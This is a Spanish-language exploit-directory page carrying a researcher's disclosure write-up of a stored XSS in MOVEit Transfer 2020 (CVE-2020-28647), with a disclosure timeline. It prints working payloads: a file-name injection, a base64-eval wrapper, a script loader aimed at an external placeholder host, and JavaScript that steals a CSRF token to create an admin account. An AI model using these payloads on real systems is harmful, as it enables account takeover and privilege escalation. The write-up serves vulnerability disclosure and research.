Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/secforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubsecforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647

Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Cross-Site Scripting (XSS) almacenado en la aplicación web MOVEit Transfer 2020

Ver Repositorio
2hace 5 añosAún no revisado

Progress MOVEit Transfer < 2020.1 XSS almacenado (CVE-2020-28647)

Durante una reciente prueba de aplicaciones web, una de las aplicaciones en el alcance era una aplicación web MOVEit Transfer 2020. Durante la evaluación, se identificó una vulnerabilidad de Cross-Site Scripting (XSS) almacenado. Esta entrada de blog explicará el descubrimiento y la explotación de dicha vulnerabilidad para obtener acceso administrativo a la aplicación web.

Al probar la validación de entrada en varios campos de entrada diferentes encontrados en la aplicación, un campo de entrada en particular parecía proporcionar una salida inesperada cuando se proporcionaban ciertos payloads. Este campo de entrada era el nombre del archivo que se estaba subiendo. Después de subir archivos con ciertos nombres de archivo, se identificó que al intentar descargar el archivo, el botón de descarga no realizaba ninguna acción. Se investigó este comportamiento y, como podemos ver en la imagen siguiente, se desencadena un error de JavaScript al hacer clic en el botón de descarga.

Una vez identificado este error, se analizó el código HTML detrás del botón de descarga. Del análisis inicial se desprendió que el nombre del archivo se incluye en la función JavaScript onclick del botón sin ser sanitizado adecuadamente, como se puede ver en la imagen siguiente.

Con esta observación, quedó claro que se puede inyectar código JavaScript que se ejecutará cuando un usuario haga clic en el botón Download. El primer paso fue crear un código de prueba de concepto que activara una ventana emergente de JavaScript mediante la función alert. Dada la naturaleza del código y el lugar donde se inyecta el nombre del archivo, se creó el siguiente payload. Este payload terminaría la función que se está llamando y añadiría una nueva función, alert(), seguida de una función ficticia para completar el código.

root@kitploit:~
test", 382,"1234");alert("XSS");a("test

Con este payload en mano, podemos probarlo. Podemos subir un archivo y luego interceptar la solicitud de subida al servidor usando burp proxy, cambiar el nombre del archivo y reenviar la solicitud al servidor.

Con el archivo subido, ahora podemos abrir el archivo haciendo clic en el nombre del archivo y luego hacer clic en el botón Download. Aquí podemos ver que se activa el XSS y se muestra una ventana emergente de alerta de JavaScript.

¡Genial! Así que podemos ejecutar código JavaScript arbitrario. ¿Qué más podemos hacer? ¿Podemos sacarle más partido a esto?

Después de revisar la aplicación y su funcionalidad, un posible vector de ataque podría ser un usuario de bajo nivel que intente escalar privilegios para obtener acceso administrativo a la aplicación web.

El primer paso fue comprobar si es posible realizar solicitudes HTTP mediante JavaScript usando XMLHttpRequest. Al revisar la configuración de los nombres de archivos y carpetas, se identificó que MOVEit no permite que ningún archivo o carpeta contenga / o \ en el nombre. Por lo tanto, esto potencialmente puede impedirnos realizar solicitudes HTTP. Otra limitación identificada fue que el nombre del archivo está limitado a 255 caracteres.

Con base en este análisis, tenemos un par de restricciones que deben ser evadidas. La primera fue intentar encontrar una forma de evitar la limitación de los caracteres / y \ e intentar incluir un archivo JavaScript alojado en un servidor remoto. Para evitar esta restricción, podemos codificar el código JavaScript que queremos ejecutar en formato base64, luego decodificarlo en memoria y ejecutarlo mediante la función eval. El siguiente fragmento de código hace exactamente eso.

root@kitploit:~
t",1,"1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t

Con este código, el primer intento fue inyectar una etiqueta <script> con el origen del archivo configurado en un archivo alojado externamente. El fragmento de código siguiente se codificó en base64 y luego se copió en el fragmento anterior.

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);

Al intentar esto, apareció otro problema: CSP. La aplicación web estaba usando una CSP que impedía la carga de archivos JavaScript externos.

Entonces, no podemos cargar archivos externos ni incluir código JS que supere los 255 caracteres. ¿Qué podemos hacer ahora? Podemos intentar abusar de la funcionalidad de MOVEit y usarla para alojar nuestro archivo JavaScript malicioso.

Primero necesitamos crear el código JavaScript que hará una solicitud GET a la página encargada de agregar un nuevo usuario al sistema y, desde aquí, extraer el token CSRF. Luego, el script deberá hacer una solicitud POST para crear un nuevo usuario administrador, incluyendo el token CSRF extraído en la solicitud. A continuación se muestra el fragmento de código que hace esto.

root@kitploit:~
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020

function r(){	
    alert(1);
    var uri = "human.aspx?arg12=useradd";
    xhr = new XMLHttpRequest();	
    xhr.open("GET", uri, false);	
    xhr.send(null)
    if (xhr.status === 200)
    {
        responseBody = read_body(xhr);
        firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
        csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
        if (csrfToken){
            var adduserUri = "/human.aspx";
            var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
            xhr2 = new XMLHttpRequest();
            xhr2.open("POST", adduserUri, false);
            xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr2.send(body);
        }
    }
}

function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;	
}

El código JavaScript anterior debe guardarse en un archivo y luego subirse a MOVEit. Después de subir el archivo, abre los detalles del archivo y haz clic en el botón de descarga mientras interceptas las solicitudes web con burp proxy. En los registros de burp proxy debería haber una entrada para el enlace de descarga directa del archivo. Esta URL debería ser similar a esta:

root@kitploit:~
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636

Con el enlace de descarga directa, ahora podemos configurarlo para incluirlo en el payload. El código siguiente creará una etiqueta script, establecerá la URL de origen al enlace de descarga directa y, finalmente, insertará la etiqueta script en la etiqueta head de la página y ejecutará la función r() en onload.

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);

El siguiente paso es codificar en base64 el fragmento de código anterior:

root@kitploit:~
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==

El siguiente paso es inyectar este payload XSS final. Para ello, sube un archivo mientras interceptas las solicitudes con burp proxy y modifica el nombre del archivo subido al payload XSS siguiente.

root@kitploit:~
t",1,"1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t

Una vez subido el archivo, haz clic en el archivo subido para abrir los detalles y haz clic en el botón Download para activar el XSS y la creación del usuario administrador. Un usuario de bajo nivel puede crear esta configuración y, si un usuario administrativo descarga el archivo subido, el usuario de bajo nivel puede lograr que el administrador cree involuntariamente una cuenta de administrador.

Cronología

  • 05/08/2020 - Problema reportado
  • 08/08/2020 - Problema verificado y corrección incluida en la próxima versión principal
  • 16/11/2020 - Aviso de seguridad de Progress MOVEit publicado
  • 17/11/2020 - CVE-2020-28647 publicado
Descargar herramienta